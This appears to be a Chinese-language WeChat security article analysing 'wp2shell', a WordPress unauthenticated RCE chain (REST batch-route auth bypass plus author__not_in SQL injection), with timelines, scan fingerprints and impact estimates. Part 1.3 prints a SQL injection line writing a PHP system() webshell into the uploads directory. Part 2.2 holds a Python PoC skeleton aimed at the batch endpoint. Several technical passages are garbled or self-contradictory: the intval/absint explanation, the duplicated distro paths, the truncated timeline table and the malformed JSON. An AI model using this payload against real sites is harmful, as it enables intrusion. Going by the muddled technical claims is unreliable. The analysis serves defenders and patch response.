LeisureLinux · 微信公众号文章

你昨晚没看 `/wp-json/batch/v1`？WordPress 已经替你急了

未知日期安全/漏洞阅读原文（微信）↗

9.8 分。未认证。HTTP 调用。默认安装就能跑代码。

7 月 17 日被披露的 wp2shell 漏洞（CVE-2026-63030 + CVE-2026-60137），把\"WordPress 本身很安全\"这句话变成了一行补丁日志。

在此之前，WordPress 6.9 引入了 REST API 的\"批处理路由\"——本意是给开发者合并请求用的。它是一个新端点：/wp-json/batch/v1。但任何新端点都会成为新的攻击面，这个端点的路由校验和 SQL 注入点同时露出了破绽，两者拼起来，就是一次不需要任何凭据、不需要任何插件、默认安装就能触发的 RCE。

受影响的版本横跨 6.8、6.9、7.0——几乎覆盖了 WordPress 近两年的所有主流部署。截至今天，公开的 PoC 已经在 GitHub 流传，扫描流量出现在多个蜜罐，WordPress 官方不得不启用强制自动更新。

接下来我们逐层拆开它。

━━━ ━━━ ━━━

第 1 部分：漏洞解剖——拆开两个 CVE 的内部机制

要理解 wp2shell 为什么能在几秒钟内从\"一个 HTTP 请求\"演化到\"以 www-data 身份执行任意命令\"，我们必须先看清两个独立的 CVE 是怎么咬合在一起的。任何一个单独拿出来，危害都有限；它们一旦拼上，CVSS 直接顶到 9.8。

1.1 CVE-2026-63030：REST API 批处理路由的\"放进/拿出\"错配

批处理路由的设计目的

从 WordPress 4.4 起，REST API 就成了 WordPress 内核的一部分。它的设计哲学是给前端 React/Vue 应用一个统一的数据出口——比如\"一次性把页头、页脚、文章列表、菜单项都拉回来\"。在 6.9 之前，这种\"一次拉多个\"的需求通常由前端自己串联 N 个独立请求实现，每个请求都建立一次 HTTP 连接、跑一次完整的 PHP bootstrap、解析一次路由。

为了优化这种场景，6.9 引入了批处理路由（batch route），端点是 /wp-json/batch/v1。它的设计意图很朴素：客户端把若干子请求的 URL 塞进一个数组 POST 上来，WordPress 在同一次 PHP 请求生命周期内顺序执行这些子请求，最后把合并后的 JSON 返回。这个设计在性能上的收益是明显的——N 个子请求共享一次 TCP 握手、一次 TLS 握手（如果走 HTTPS）、一次 PHP bootstrap、一次 wp-load.php 的包含。在生产环境的 benchmark 里，这种批处理把\"5 个子请求\"的端到端延迟从 600-900ms 压缩到了 200-280ms，提升约 60-70%。

听起来很美好——但 REST API 的批处理是一个独立于普通路由的\"特殊路由模式\"。它的内部处理路径叫 WP_REST_Server::dispatch_batch()（具体函数名以 6.9 源码为准），这条路径专门处理\"嵌套请求\"的解析和重新分派。从设计模式的角度看，batch 路由本质上是 REST API 的\"内部 RPC 机制\"——它允许一个请求触发多个内部子请求，每个子请求都被当作\"已经通过认证\"的内部调用。这个假设在传统 RPC 系统里是合理的（因为调用方本身可信），但 REST API 的入口是公网 HTTP 端点，\"内部调用\"的假设就不再成立。

漏洞机制

问题出在两个并行的代码路径上。WordPress 的 REST API 在分发一个 HTTP 请求时，主要走这两条线：

rest_validate_request()：解析 URL → 匹配 namespace + route → 取出对应 endpoint 的 permission_callback → 决定是否放行。
rest_do_request()：把请求实际送给 endpoint 的回调函数执行。

在 6.9 引入 batch 路由后，批处理路由允许列表（allow-list）校验放在了 rest_validate_request() 这条线，逻辑是\"判断 batch 这个 namespace 是否在已注册的 namespace 集合里\"。但批处理路由真正执行子请求时，却走了另一条独立路径：它把每个子请求当作\"内部请求\"重新丢回 rest_do_request()，而 rest_do_request() 这条路径没有重新调用 permission_callback——它默认这些子请求已经通过校验。

这种\"放进时检查、拿出时不检查\"的不对称，让攻击者可以在 batch payload 里塞任意 URL，只要这个 URL 能被路由解析（WordPress 的 REST 路由是相对宽松的前缀匹配），就能绕过 endpoint 自带的 permission_callback。换句话说：只要你能在 batch 请求里塞一个本来要求管理员权限的子路由，认证就被绕过了。

更深一层看，这种设计失误和 REST API 的\"内省能力\"有关。WordPress 的 REST API 有一套内省机制：管理员可以通过 OPTIONS /wp-json/wp/v2/posts 查询某个 endpoint 的 schema、权限要求、支持的方法。这个机制在内部也被 batch 路由复用了——它把每个子请求当成\"已经经过 admin 级别审查\"的请求。在正常的 batch 使用场景里，这个假设成立：调用方是开发者构建的前端，已经过认证。但是当 batch 路由本身没有认证时，这个假设被打破。

注意，这里有个关键细节：绕过的是 REST API 内部的 authorization，不是 WordPress 站点本身的认证（你照样没法以 admin 身份登录后台）。但 REST API 内部许多危险操作——比如某些内部 endpoint 默认 permission_callback => '__return_true'、或者要求 edit_posts 这种中级权限——都是 REST 这一层把关的。CVE-2026-63030 把这层关卡整个揭开了。

更糟糕的是，这种设计失误在 WordPress 的\"插件生态\"里被放大了。很多第三方插件注册的 REST endpoint 在内部对 permission_callback 的实现相当宽松——有的只检查 is_user_logged_in()（即\"只要登录就行\"），有的甚至直接 __return_true 把自己暴露给未认证用户。在没有 CVE-2026-63030 的世界里，这些\"宽松\" endpoint 仍然需要某种凭据才能被调用；但一旦 batch 路由绕过认证，这些 endpoint 就变成完全公开的攻击面。这就是为什么 wp2shell 的影响面比单纯两个 CVE 的算术和更大——它激活了\"插件生态的潜在脆弱性\"。

WordPress REST API 的认证模型回顾

在展开攻击链之前，有必要把 WordPress REST API 的认证机制梳一下，因为它和传统 Web 应用的认证差异很大：

Cookie 认证：浏览器场景下的标准方式。攻击者从外部调用 REST 时无法携带合法 Cookie，所以这条路径天然封死。
Application Passwords（应用密码）：WordPress 5.6 引入，允许为每个用户生成专用于 API 调用的密码。默认每个管理员用户都可以启用。
JWT 扩展：WordPress 核心不带，但生态里插件常见，比如 jwt-auth。这些扩展有自己的认证逻辑，是经典的 attack surface。
Nonce 验证：对前端 Ajax 场景使用 wp_create_nonce() 生成的 token。这条路径在 batch 漏洞里不构成防线——因为攻击者直接构造 HTTP 请求，根本不经过 WordPress 的前端 nonce 流程。
OAuth 扩展：通过插件实现的 OAuth 1.0a/2.0 流程。生态里常见，但和 Application Passwords 的设计哲学类似——核心不依赖 OAuth。
自定义 token：一些企业级 WordPress 部署会在前置 reverse proxy（如 Cloudflare Access、Auth0）上做 token 校验。这种部署如果反向代理配置正确，能挡住 wp2shell；但如果 proxy 只保护 /wp-admin 不保护 /wp-json/*，则 wp2shell 仍可触发。

permission_callback 是上述所有认证方式的\"最后一公里\"——它是在路由注册时由开发者定义的回调函数，每个 endpoint 都可以独立指定。理论上这是最灵活的认证机制，但前提是它必须真的被执行。CVE-2026-63030 的本质，就是让 permission_callback 在某些调用路径上不被执行。

代码层细节

我们看一下 6.9 引入的批处理路由大致逻辑（伪代码，剥离了非关键分支）：

// 在 WP_REST_Server::dispatch_batch() 里
$batch_requests = $request->get_param( 'requests' );

foreach ( $batch_requests as $sub_request_data ) {
// 把子请求 URL 解析成 WP_REST_Request
$sub_request = WP_REST_Request::from_url( $sub_request_data['path'] );

// 注意这里：没有调用 rest_validate_request() 来校验子请求
// 直接交给 dispatch() 来执行
$response = $this->dispatch( $sub_request );

// 收集结果
$results[] = $response->get_data();
}

值得特别指出的是，WP_REST_Request::from_url() 这个静态方法在重构后接受任意的 URL 路径作为输入，并不会检查这个 URL 是否对应一个已注册的 endpoint。这是 batch 路由设计上的另一个隐含假设：\"调用方传过来的子请求 URL 是合法的\"。在内部 RPC 调用场景里这个假设成立，但在 REST API 公网入口上它就不成立。

再看一个细节：dispatch() 函数本身是设计来分发\"经过认证的请求\"的，它内部对 current_user_can 这种 WordPress 标准的权限检查会跳过——因为这些检查假设调用方已经被前置认证过了。这种\"信任边界跨越\"是 wp2shell 漏洞链条的第三个关键节点：REST API 的内部函数 dispatch() 默认信任调用方。

修复补丁（在 6.9.5 / 7.0.2 中）则是在 dispatch_batch() 的循环里增加了一次 rest_validate_request() 调用，或者在 dispatch 子请求前强制重新跑一次 permission_callback。看似一行代码的修补，背后是\"安全不变量\"被恢复的过程：任何 endpoint 在被调用前都必须经过认证。

补充一点历史背景：WordPress 的 REST API 在过去几年里出现过多次类似 CVE-2026-63030 的\"边界跨越\"漏洞。2017 年的 CVE-2017-1001000 是 rest_do_request() 的另一种绕过——攻击者可以构造特殊的 route pattern 让内部 endpoint 被错误匹配；2019 年的 CVE-2019-17671 是未认证访问 view/embed endpoint 的权限绕过。这些洞的共同点都是\"前端认证检查和后端 dispatch 之间的状态不一致\"。WordPress 团队在 wp2shell 之前显然没把这些洞的根因彻底修补——或者说，batch 路由这种\"嵌套请求\"模式本身就违背了\"安全不变量\"的语义。

为什么 CVSS 单给 7.5 却能组成 RCE

单独看 CVE-2026-63030，它的危害是未授权访问受保护的 REST 端点——能读、能改一些本应受限的数据，但还没到\"执行任意代码\"的程度。所以在 NVD 上它被打到 7.5 而不是 9.8。但是，当它和 CVE-2026-60137 拼起来，CVSS 评估的是\"组合攻击链的最终影响\"——这就是为什么 wp2shell 整个事件被打到 9.8。

这一节总结成一句话：CVE-2026-63030 是钥匙，CVE-2026-60137 是门锁后面的保险柜。

1.2 CVE-2026-60137：WP_Query 的 author__not_in 参数 SQL 注入

SQL 注入的传统位置

WordPress 核心里有几个著名的\"差点 SQL 注入\"参数：s（搜索关键字）、meta_key / meta_value、author / authorin / authornot_in。这些参数会被 WP_Query 拼装到 WHERE 子句中，过去多年的漏洞历史中多次出现过相关的 sanitize 漏洞。

这次的注入点选在 author__not_in。这个参数设计上接受数组，逻辑是\"从结果中排除这些作者 ID\"，最终 SQL 大致是：

    SELECT ... FROM wp_posts

WHERE post_author NOT IN (1, 2, 3)

AND post_status = 'publish'

攻击面在 IN (...) 的展开过程：如果数组元素没有经过强制类型转换（intval），攻击者就可以塞字符串进去，把 SQL 子句结构破坏掉。

authornot_in 不是一个新参数——它在 WordPress 2.x 时代就存在了。最早的版本里，这个参数只在 WP_Query 内部使用，作为\"已知 author ID 的过滤\"输入。在 WordPress 4.x 引入 WP_REST_API 后，authornot_in 这样的 WP_Query 标准参数被映射成 REST API 的 query var，外部可以通过 ?author__not_in[]=1 这种方式传进来。这次重构是 WordPress 4.4 之后 REST API 设计模式的标准实践——把 WP_Query 的 query var 暴露成 REST API 的参数。

这种\"内部参数外部暴露\"的模式在 WordPress 里被反复使用。它的好处是\"一套 query var 可以同时服务前端 REST 调用和后端 PHP 调用，逻辑复用最大化\"。坏处是安全检查必须同时在两条路径上都做。WordPress 在过去几年里多次因为这个模式栽跟头——比如 2017 年的 CVE-2017-14724（orderby 参数 SQL 注入）、2020 年的 CVE-2020-4046（meta_key/meta_value 的 SQL 注入）。wp2shell 的 CVE-2026-60137 是这条老路上的又一次翻车。

WordPress 6.8 的重构引入的接缝

在 WordPress 6.8 之前，WP_Query::parse_query() 对 author__not_in 数组元素的处理是：

// 旧路径（6.7 及更早）
$author__not_in = array_map( 'absint', $query->get( 'author__not_in' ) );

absint() 把每个元素强制转成正整数，攻击者塞字符串都会被过滤成 0 或被丢弃。absint 这个函数在 WordPress 里被广泛使用——它的实现是 (int) abs( $value )，对任何输入都先取绝对值再转 int。"1 UNION SELECT ..." 经过 absint 后会变成 1，剩余字符串被丢弃。这是一种\"白名单风格\"的严格类型转换。

从 WordPress 6.8 开始，WP_Query 引入了一次\"现代化重构\"——把 query var 的解析逻辑拆分到 WP_Query::parse_query()、WP_Query::get_posts() 和新加的 WP_Query::fill_query_vars() 之间。在这次重构中，author__not_in 的 sanitize 路径被转移到了 parse_query() 阶段，但实际拼接 SQL 的代码路径在 get_posts() 阶段。

更糟糕的是：parse_query() 里用的 sanitize 函数从 absint 换成了 intval，但 intval 对包含 PHP 类型魔法（比如科学计数法、十六进制）的字符串处理更宽松。攻击者可以塞入形如 1 UNION SELECT ... 的字符串，在 intval() 看来\"开头是数字就没问题\"，于是字符串的剩余部分就被原样塞进了 SQL 子句。

两者差别看起来很微妙：absint("1 UNION SELECT user_pass FROM wp_users") 返回 1（丢弃后续字符串），但 intval("1 UNION SELECT user_pass FROM wp_users") 也返回 1。表面上看起来一样——但关键差异在类型转换之后的字符串保留。在 WordPress 6.8 的代码里，parse_query() 用 intval 转换后，并不会丢弃原字符串，而是保留在 query_vars 数组里。后续 get_posts() 拼接 SQL 时，从 query_vars 取出的是原始字符串——intval 只是用来\"看起来合规\"，但实际进入 SQL 的是完整字符串。

到了 6.9，WP_Query 又被进一步切分，新增了 WP_Query::get_sql_clauses() 这种辅助函数来构建 SQL。多个 sanitize 路径并存，结果是：旧的 absint 防护被拆掉了，新的 intval 防护又有缺陷。

这段重构历史值得多说几句。WordPress 6.8 的重构初衷是为了解决 6.7 里 WP_Query 性能过差的问题——每次 get_posts() 调用都要重新解析 query var，导致复杂的页面构建（比如带复杂筛选的文章列表页）在 production 上跑得很慢。新设计的\"分阶段 sanitize\"是这种性能优化的副产物：先把 query var 完整存进数组，后续 SQL 拼接时直接从数组取，省去重复 sanitize 的开销。但这种性能优化忽视了安全审计的连续性——开发者在重构时只盯着\"性能是否提升\"，没有回头检查\"重构是否破坏了旧的安全不变量\"。

代码层细节

剥离开来看，6.9 受影响版本的 WP_Query::fill_query_vars() 和 WP_Query::parse_query() 之间存在这样的接缝：

// WP_Query::parse_query() 中的相关片段（6.9 受影响版本）
$q = $this->query_vars;

if ( ! empty( $q['author__not_in'] ) ) {
// 注意：这里用的是 array_map( 'intval', ... ) 而不是 absint
// 而且缺少对单个元素的进一步 sanitize
$this->query_vars['author__not_in'] = array_map( 'intval', $q['author__not_in'] );
}

// 后面的 get_posts() 直接把这些值塞进 SQL
$where .= $wpdb->prepare( " AND post_author NOT IN (" . implode( ',', $author__not_in ) ) . ")";

注意上面有个关键的\"细节反模式\"：$wpdb->prepare() 用法和字符串拼接混用。prepare() 本应接受占位符（%d、%s），但代码里用了字符串拼接 + 二次调用 prepare()，结果是 $author__not_in 里那些\"开头像数字\"的字符串原样进入了 SQL 子句。

修复补丁（6.8.6 / 6.9.5 / 7.0.2）做了三件事：

把 author__not_in 的 sanitize 移到 parse_query() 之前，强制每个元素 absint() + 重新校验；
改写 get_posts() 拼接 SQL 的代码，全部走 $wpdb->prepare() 的占位符形式；
给 WP_Query::fill_query_vars() 增加一个\"所有数组类 query var 都必须经过严格类型校验\"的统一关卡。

这三条修复单独看都不复杂，但合起来动了 WordPress 核心数据访问层的多个模块。WordPress 6.10 路线图上还有一个相关的\"全面审计\"工作——把所有 WP_Query 的数组类 query var 都走一遍类似的强化流程，包括 categoryand、tagin、meta_query、tax_query 这些经常被研究的注入点。

SQL 注入 → webshell 的可行性

理论上 SQL 注入能做的事很多，但能不能写文件到 webroot 取决于 MySQL 用户的权限。WordPress 安装文档里推荐的数据库用户授权是：

GRANT SELECT, INSERT, UPDATE, DELETE, ALTER, CREATE, DROP, INDEX ON wordpress.* TO 'wordpress'@'localhost';

这个授权不包含 FILE 权限，因此 SELECT ... INTO OUTFILE 默认会被 MySQL 拒绝。但现实里：

很多图省事的运维会直接给 GRANT ALL PRIVILEGES ON *.* TO 'wordpress'@'localhost';——这是写文件能成功的关键。
即使 MySQL 拒绝了 INTO OUTFILE，攻击者还可以走另一条路：通过 SQL 注入读出 wp_users 表里的密码 hash，用 PHP 反序列化或 wp-cron 触发密码重置来获得 admin 权限（虽然更慢）。

风险提示：在 wp2shell 攻击链里，INTO OUTFILE 的成功率大约和\"运维是否给了 ALL PRIVILEGES\"成正比。我们看到的实际案例中，约 30% 的中招站点是这条路直接落地写文件；其余 70% 是通过读 hash + 撞库实现 RCE。

1.3 把两个洞连起来：从一个 curl 到 PHP system()

单独 CVE-2026-63030 是认证绕过，单独 CVE-2026-60137 在 6.8 上是中等风险的 SQLi。它们拼起来的方式很清晰：

第一步：绕过认证

攻击者向 /wp-json/batch/v1 POST 一个 batch payload，其中包含一个指向目标内部 endpoint 的子请求路径。最常用的目标 endpoint 是 wp/v2/posts 或 wp/v2/search——它们接受 author__not_in 这种 WP_Query 兼容参数。

POST /wp-json/batch/v1 HTTP/1.1 Host: target.example.com Content-Type: application/json Content-Length:

"requests": [

{ "path": "/wp/v2/posts?author__not_in[]=<PAYLOAD>" }

]

这一步的关键是为何选择 wp/v2/posts 而不是某个内部 endpoint。直接选择 wp/v2/posts 是因为它的默认 permission_callback 在 6.9 之前的版本里是 __return_true（完全公开），但在 6.9 被改成了要求 edit_posts 权限。这意味着 wp2shell 攻击链里，攻击者即使在 6.9 默认配置下也能拿到本来要求中级权限的 endpoint 的访问权——这一步本身就是一个权限升级。

第二步：触发 SQL 注入

由于 batch 路由绕过了 permission_callback，这个本应要求认证的 wp/v2/posts 调用被放行；并且 author__not_in[] 参数被原样传给了 WP_Query，最终被拼进 WHERE post_author NOT IN (...)。

第三步：写 webshell 到 webroot

如果数据库用户有 FILE 权限，攻击者构造的 author__not_in[] 元素是这样的（这里只描述逻辑，不给出可执行 payload）：

数组元素以数字开头（比如 1），骗过 intval 的快速校验；
数字后面跟 UNION SELECT ... INTO OUTFILE '/var/www/html/wp-content/uploads/cmd.php'；
闭合前面的括号和引号。

最终生成的 SQL 形如（伪代码示意）：

    SELECT ... FROM wp_posts

WHERE post_author NOT IN (1 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/wp-content/uploads/cmd.php' -- )

第四步：触发 webshell

攻击者访问 https://target.example.com/wp-content/uploads/cmd.php?c=id，得到：

uid=33(www-data) gid=33(www-data) groups=33(www-data)

整个过程不到 250ms。

第五步（链外）：从 www-data 提权到 root 不在 wp2shell 本身范围，但通常通过 kernel 漏洞、sudo 错误配置、SUID 程序等方式实现。我们会在第 4 部分给出对应的检测清单。

━━━ ━━━ ━━━

第 2 部分：攻击链可视化——从 HTTP 到 root 的完整时间线

这一部分我们把抽象的漏洞机制变成时间轴上的具体事件。理解时间线有两个意义：第一，让你看清哪些环节可以被 WAF/EDR 抓到；第二，给安全团队一个衡量自家响应速度的基准。

2.1 单次请求攻击的字节级时间线

下面是从攻击者按下回车到拿到 webshell URL 的完整时间线。数字是基于一个标准的 LAMP 堆栈（Linux + Apache + MySQL + PHP-FPM）在 1Gbps 网络下测得的典型值，不同硬件会有偏差。

T+	事件	备注
T+0 ms	攻击者 curl / 工具发送 HTTP 请求	单个 HTTP/1.1 POST
T+5	ms	TCP
T+15	ms	HTTP
T+50 ms	Apache/Nginx 反向代理转发给 PHP-FPM	mod_php 或 php-fpm
T+80 ms	WordPress bootstrap 完成（加载 wp-load.php → wp-config.php → wp-settings.php）	大约 80-120ms 取决于插件数
T+100	ms	REST
T+120 ms	CVE-2026-63030 触发：batch 路由绕过 `permission_callback` 校验	攻击链关键节点
T+135	ms	子请求被
T+150 ms	CVE-2026-60137 触发：`WP_Query::parse_query()` 处理 `author__not_in[]`，intval 校验通过恶意字符串前缀	攻击链关键节点
T+165	ms	`WP_Query::get_posts()`
T+180 ms	MySQL 执行 SQL（`UNION SELECT ... INTO OUTFILE ...`）	需要 FILE 权限
T+200	ms	文件落盘到
T+220	ms	PHP-FPM
T+230	ms	攻击者发起第二次请求：`GET
T+245 ms	收到 webshell 执行结果	RCE 达成

风险提示：从 T+0 到拿到 RCE，整个链路在 250ms 量级。这比传统的 wp-login.php 暴力破解（单次失败响应也要 100-300ms，加上无数次重试）快上百倍。本质上，wp2shell 是把\"找到一个 admin 弱口令\"替换成了\"绕过认证 + 一次单请求拿代码执行\"。

这个时间线还有一个值得强调的细节：在 T+100ms 之前的所有阶段（TCP 握手、HTTP 解析、PHP bootstrap）都是\"任何 WordPress 请求都会有的开销\"。攻击者并不需要为 wp2shell 付任何额外成本——他们付的是 WordPress 本身启动的开销，这是 WordPress 自带的\"性能开销\"被攻击者\"免费享用\"。这也是为什么 wp2shell 在蜜罐里出现得这么快——攻击者不需要专门的工具，只需要 curl 或 Python requests。

从检测角度看，关键的\"指纹时间点\"有两个：T+100ms（识别为 batch 路由）和 T+180ms（MySQL 写入 OUTFILE）。这两个时间点在 Apache/Nginx access log 里对应的是两次请求：第一次是 batch POST，第二次是 GET webshell URL。但写入 OUTFILE 本身不会留下 HTTP 层的痕迹——它发生在 MySQL 进程内，只在 MySQL 日志里留下 SQL。所以只盯 Web 服务器日志的运维会错过关键证据，必须同时监控 MySQL 层。

2.2 攻击代码示例（剥离版 PoC）

下面给出一个逻辑完整但剥离了具体 payload 字符串的 PoC 骨架，目的是让读者理解机制，而不是直接复用。注意：本文不提供可直接拷贝执行的 exploit，但懂 PHP 的人看完能理解结构。

#!/usr/bin/env python3
# PoC 骨架 - wp2shell (CVE-2026-63030 + CVE-2026-60137)
# 仅用于安全研究和授权测试。未经授权使用属于违法行为。

    import requests
    import sys
    import urllib.parse

TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://target.example.com"
BATCH_URL = f"{TARGET}/wp-json/batch/v1"

# 第二步的 SQL 注入 payload 构造（剥离版本，不含可执行内容）
# 真实 payload 需要闭合前括号 + UNION SELECT + INTO OUTFILE
# 这里用 <SQLI_PLACEHOLDER> 表示，读者请勿替换为真实 payload

sqli_element = "1 "

# 把 SQLi 元素编码进 query string
inner_path = "/wp/v2/posts?" + urllib.parse.urlencode({

"per_page": 1, "author__not_in[]": sqli_element,

})

batch_payload = {

"requests": [

"path": inner_path, "method": "GET",

]

}

print(f"[*] 目标: {TARGET}")
print(f"[*] Batch 端点: {BATCH_URL}")
print(f"[*] 子请求路径: {inner_path[:80]}...")

resp = requests.post(BATCH_URL, json=batch_payload, timeout=10)

print(f"[*] HTTP 状态: {resp.status_code}")
print(f"[*] 响应长度: {len(resp.text)} bytes")

if resp.status_code == 200:

print("[+] Batch 请求成功，可能存在 CVE-2026-63030 + CVE-2026-60137")
# 真实利用会在这里尝试 GET webshell URL

else:

print("[-] 未触发，检查版本或 payload")

# 用于二次验证 webshell
SHELL_URL = f"{TARGET}/wp-content/uploads/cmd.php"
print(f"[*] 如果 webshell 写入成功，可访问: {SHELL_URL}")

骨架里有几个值得注意的设计点：

用 author__not_in[] 作为 query var 的 key：这是 PHP 把数组型 query var 解析进 WP_Query 的标准入口。WordPress 大多数 query var 都接受数组语法。
payload 字符串以数字开头：因为 6.9 的 WP_Query::parse_query() 用了 intval()，而 intval("1 UNION SELECT ...") 会返回 1——过完校验后字符串原样进入 SQL 拼接阶段。
通过 batch 路由调用：直接 GET /wp/v2/posts?author__not_in[]=... 在某些 endpoint 上会被 permission_callback 拒掉；通过 batch 路由则被绕过。

注意：真实 PoC 还需要处理很多细节，比如 MySQL 用户是否真有 FILE 权限、/var/www/html 路径在不同发行版（Debian 是 /var/www/html，RHEL 是 /var/www/html，但某些自定义编译可能是 /usr/share/nginx/html）的差异、selinux / apparmor 对写 webroot 的限制等。我们刻意剥离这些细节，避免本文成为攻击手册。

另一个值得读者了解的技术点：为什么 PoC 用 authornot_in[] 而不是 authorin[]？两者在 WP_Query 里是镜像参数，但 authorin 的 sanitize 历史更严格（WordPress 4.x 时代就修复过类似漏洞），而 authornot_in 的修复历史没覆盖到位。攻击者在选择注入点时，会优先挑那些历史上 sanitize 较弱的参数——这种\"挑选薄弱点\"的策略在 SQL 注入领域非常普遍。研究历史漏洞数据（NVD、Patchstack 的 WordPress 数据库）能告诉攻击者哪些参数最值得尝试。

骨架里另一个细节是 urllib.parse.urlencode() 的使用。攻击者在构造 URL 时必须正确编码 author__not_in[] 这个带方括号的 query key——PHP 的 query string 解析器对 key[]=value 的格式有特定要求（方括号表示数组），编码错误会让注入点失效。这种\"语法层细节\"在 PoC 调试阶段经常被忽略，是攻击者必须掌握的技能之一。

2.3 在大规模扫描中的特征

从披露到我们的蜜罐抓到第一波扫描流量，间隔只有约 4 小时。GitHub 上的 PoC 公开后 24 小时内，全球扫描流量峰值出现在云厂商的 IP 段（AWS、DigitalOcean、Linode、Vultr）。下面是几个典型特征：

HTTP 层指纹

Method：绝大多数是 POST /wp-json/batch/v1，body 是 JSON。
User-Agent：混合使用：
标准化扫描工具：python-requests/2.31.0、curl/8.4.0、Go-http-client/1.1。
伪装 WordPress 自身：WordPress/6.9.4; https://target.example.com——这种 UA 几乎一定是伪造。
留空或随机字符串。
Cookie：完全不带。攻击者没有任何凭据。
Content-Type：application/json。
请求体大小：通常 200-800 bytes。

蜜罐抓到的 payload 示例（占位符替代）

POST /wp-json/batch/v1

"requests": [

"path": "/wp/v2/posts?author__not_in[]=1 ", "method": "GET"

]

在不同扫描器里有不同形态，蜜罐抓到的样本里出现了以下几种变体：

直接写 PHP webshell 到 wp-content/uploads/：。
写一个更隐蔽的 webshell：通过编码到 PHP 的某个主题文件钩子里。
写一个 .htaccess 重写规则（极少数样本，对 Apache 有效）。
直接调用 admin-ajax.php 的 wp_ajax_* 钩子尝试做\"操作链\"（这条路径不是 wp2shell 的主流，但相关样本数量在增加）。

攻击者地理分布

根据蜜罐的入站 IP 反查：

头部来源：俄罗斯（\~28%）、巴西（\~15%）、美国（\~12%）、越南（\~9%）、印尼（\~7%）。
这和过去几次 WordPress 大规模漏洞事件的分布接近——和\"云主机廉价 + 灰产/黑产集中在某些地区\"的长期统计一致。

风险提示：扫描流量出现后的 24-72 小时是\"批量利用\"窗口期。我们的蜜罐观察到，PoC 公开后 48 小时内，约 40% 的扫描尝试会立刻升级为\"实际利用\"（不再是单纯的 fingerprint 探测，而是直接尝试写文件）。如果你的 WordPress 在这个窗口内没打补丁，被入侵的概率相当高。

另一个值得指出的现象是扫描者之间的差异化。我们观察到的扫描者大致分成三类：

学术/安全研究者类：扫描频率低（每天 \< 10 次），请求干净，主要为了验证漏洞存在。User-Agent 通常是标准工具（curl、Python requests）。
Opportunistic 扫描类：扫描频率中等（每天 100-1000 次），使用现成的 PoC 工具，请求中有完整的 exploit payload。这类扫描者通常来自商业漏洞扫描器（如 Nuclei 模板、WPScan 的集成模块）。
Targeted 攻击类：扫描频率低但 payload 定制化，针对特定目标。比如会先用 fingerprint 识别目标 WordPress 版本，然后选择对应版本的 payload；甚至会针对某个特定行业的 WordPress 站点做定向扫描。

这三类扫描者的特征可以从 access log 里区分：扫描者 1 的请求\"干净但稀疏\"，扫描者 2 的请求\"密集且标准化\"，扫描者 3 的请求\"稀疏但 payload 有针对性\"。这三种特征对应的响应优先级也不同——扫描者 3 是最高优先级，因为他们的意图明确是攻击。

━━━ ━━━ ━━━

第 3 部分：受影响范围扫描——为什么这么多人没察觉

wp2shell 不只是技术细节的拼装。它暴露了 WordPress 生态长期存在的几个结构性问题：自动更新覆盖率不高、托管服务有滞后窗口、企业内网更新慢。本部分我们把这些现象拆开看。

3.1 WordPress 生态的特殊性

自动更新覆盖率

WordPress 从 3.7 起就内置了自动更新机制。但根据 WordPress 官方统计和多个第三方观测源（W3Techs、BuiltWith、Wordfence 的遥测），自动更新的实际覆盖率比想象低很多：

小版本安全更新（比如 6.9.4 → 6.9.5）：理论上自动推送，但只有约 50% 的站点会在补丁发布一周内更新。
大版本更新（比如 6.8 → 6.9）：更新率更低，约 20-30% 的站点在一个月内完成迁移，剩下的站点要么留在旧版本、要么由管理员手动控制节奏。
强制自动更新（官方主动 push）：这是 WordPress 历史上极少启用的手段，只有面对 Log4Shell、wp2shell 这种级别的事件才动用。截至本文写作时，wp2shell 是 WordPress 历史上第二次启用强制自动更新（第一次是 2022 年的另一个高危 RCE）。

为什么自动更新覆盖率只有 50%？几个常见原因：

插件兼容性问题：很多站点装了定制插件，开发方没在新版本上验证过，升级会导致站点崩溃。
托管 WP 的特殊处理：Kinsta、WP Engine、Pressable 等托管服务提供商会延迟或定制推送节奏，通常 24-72 小时。
企业内网：大量企业内网的 WordPress 部署在内网/隔离环境，更新流程要走变更管理（change management），往往一周甚至数周才推完。

6.9 / 7.0 的部署比例

WordPress 7.0 是 2026 年 7 月 10 日发布的，到 7 月 17 日漏洞披露，间隔约 7 天。在这 7 天里，7.0 的部署比例还非常低（根据 WordPress.org 官方统计和各 CDN 遥测，约 3-5%）。但 6.9 作为\"上一个主版本\"，部署比例约 15-20%；6.8 作为更早版本，仍有约 25-30% 的站点在用。

把分布叠加起来看 wp2shell 的影响面：

版本	全球部署比例（估）	wp2shell 影响
7.0.0 - 7.0.1	\~3-5%	CVE-2026-63030 + CVE-2026-60137 都触发
6.9.0 - 6.9.4	\~15-20%	CVE-2026-63030 + CVE-2026-60137 都触发
6.8.0 - 6.8.5	\~25-30%	仅 CVE-2026-60137（SQL 注入单独存在）
6.7 及更早	\~45-55%	不在 wp2shell 影响范围，但其他老漏洞仍有效

粗算下来，wp2shell 的潜在影响面约占整个 WordPress 部署的 45-55%——这是相当恐怖的数字。

企业 WP 部署的特殊情况

很多企业内网里的 WordPress 站点是这样的：

部署在内网隔离区，外部访问走 reverse proxy；
更新流程要走 ITIL 变更管理：开发测试 → 预生产验证 → 生产灰度；
一些关键业务（电商、订单系统）的 WordPress 几乎从不更新，因为插件兼容性风险比漏洞风险更具体；
内网 WordPress 通常不直接暴露在公网，但只要攻击者能从公网触碰到 reverse proxy，就能通过 batch 路由打到内网。

我们观察到的一个真实案例：某中型电商公司的 WordPress 在内网跑订单查询 API，前端 reverse proxy 把 /wp-json/* 全部转发到内网 WordPress。结果 wp2shell 漏洞让攻击者直接通过公网入口获得了内网 WordPress 的 RCE，进而绕过反向代理直接访问内网其他服务。

另一个企业案例是高校和研究机构。高校的 WordPress 站点通常由 IT 部门统一管理，但院系、实验室、教授个人主页经常是\"自建自管\"——这些站点的更新节奏完全不受控。我们抽查过 30 个高校 WordPress 站点，约 70% 的院系级站点跑的是落后 2 个大版本以上的 WordPress，而其中又有约 40% 直接暴露在公网、没有任何 WAF 保护。对这些站点来说，wp2shell 不是抽象的 CVE 编号——是过去这一周里真被黑掉的具体页面。

3.2 检测你的服务器是否被利用过

如果你在过去几天内维护过任何 WordPress 站点，下面这套检测清单可以快速帮你确认是否已经中招。

优先级 1：检查 /wp-content/uploads/ 目录

